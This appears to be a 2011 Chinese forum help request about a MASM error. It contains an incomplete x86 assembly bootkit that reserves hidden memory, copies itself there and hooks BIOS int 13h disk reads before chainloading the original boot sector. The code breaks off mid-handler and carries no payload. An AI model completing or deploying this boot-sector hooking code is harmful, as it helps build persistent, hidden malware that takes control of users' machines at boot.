-
-
[求助]为什么这句老是编译错误,求帮助!
-
发表于:
2011-10-22 14:44
4529
-
.486p
.model tiny
.code
@@start:
assume es:nothing, ss:nothing, ds:nothing, fs:nothing, gs:nothing
@BRCODE16_START EQU $
pushad
xor bx,bx
mov ss,bx
mov sp,7c00h mov ds,bx
mov ax,ds:[413h]
and al,NOT 3
sub ax,4
mov ds:[413h],ax
shl ax,(10-4)
mov es,ax
mov ax,0201h
mov bx,200h
mov cx,2 ;
mov dx,0 ;到es:dx,0000:0000处
int 13h
cli
mov si,7c00h
xor di,di
mov cx,Code_Size ;
rep movsb
xor bx,bx
mov eax,ds:[13h*4]
mov es:[INT13H-@@start],eax ;原int13h的地址保存到INT13H变量里(在下面定义)
mov word ptr [bx + (13h*4)], @Int13Hook ;修改int13h
mov ds:[(13h*4)+2],es
sti
push es
push BootOs
retf ;跳去执行函数读取原主引导记录引导系统
;==============================================================
BootOs:
xor ax,ax
mov es,ax
mov bx,7c00h ;存放的目标缓冲区
mov ax,0201h ;读主引导扇区(0磁头0道1扇区)到0:7c00h(es:bx)
mov cx,1
mov dx,80h
int 13h
db 0eah
dd 7c00h ;jmp far 0:7c00h ;引导系统
;==============================================================
@INT13Hook:
pushf
test ah,0bdh ;是不是读数据到内存,ah=02,ah=42h
jz Int13Hook_ReadRequest ;是就去作反应操作
popf
db 0eah
INT13H dd ?
Int13Hook_ReadRequest:
popf
pushf
call dword ptr cs:[INT13H]
jc @Int13Hook_ret
cli ;此处不允许中断干扰
pushfd
push fs
pushad
;=================================================
mov word ptr [bx + (13h*4)], @Int13Hook ;修改int13h
这句指令老是出现这个错误:
error A2022: instruction operands must be the same size
是为什么呢?要怎么改正?
编译环境是masm6.11
[注意]传递专业知识、拓宽行业人脉——看雪讲师团队等你加入!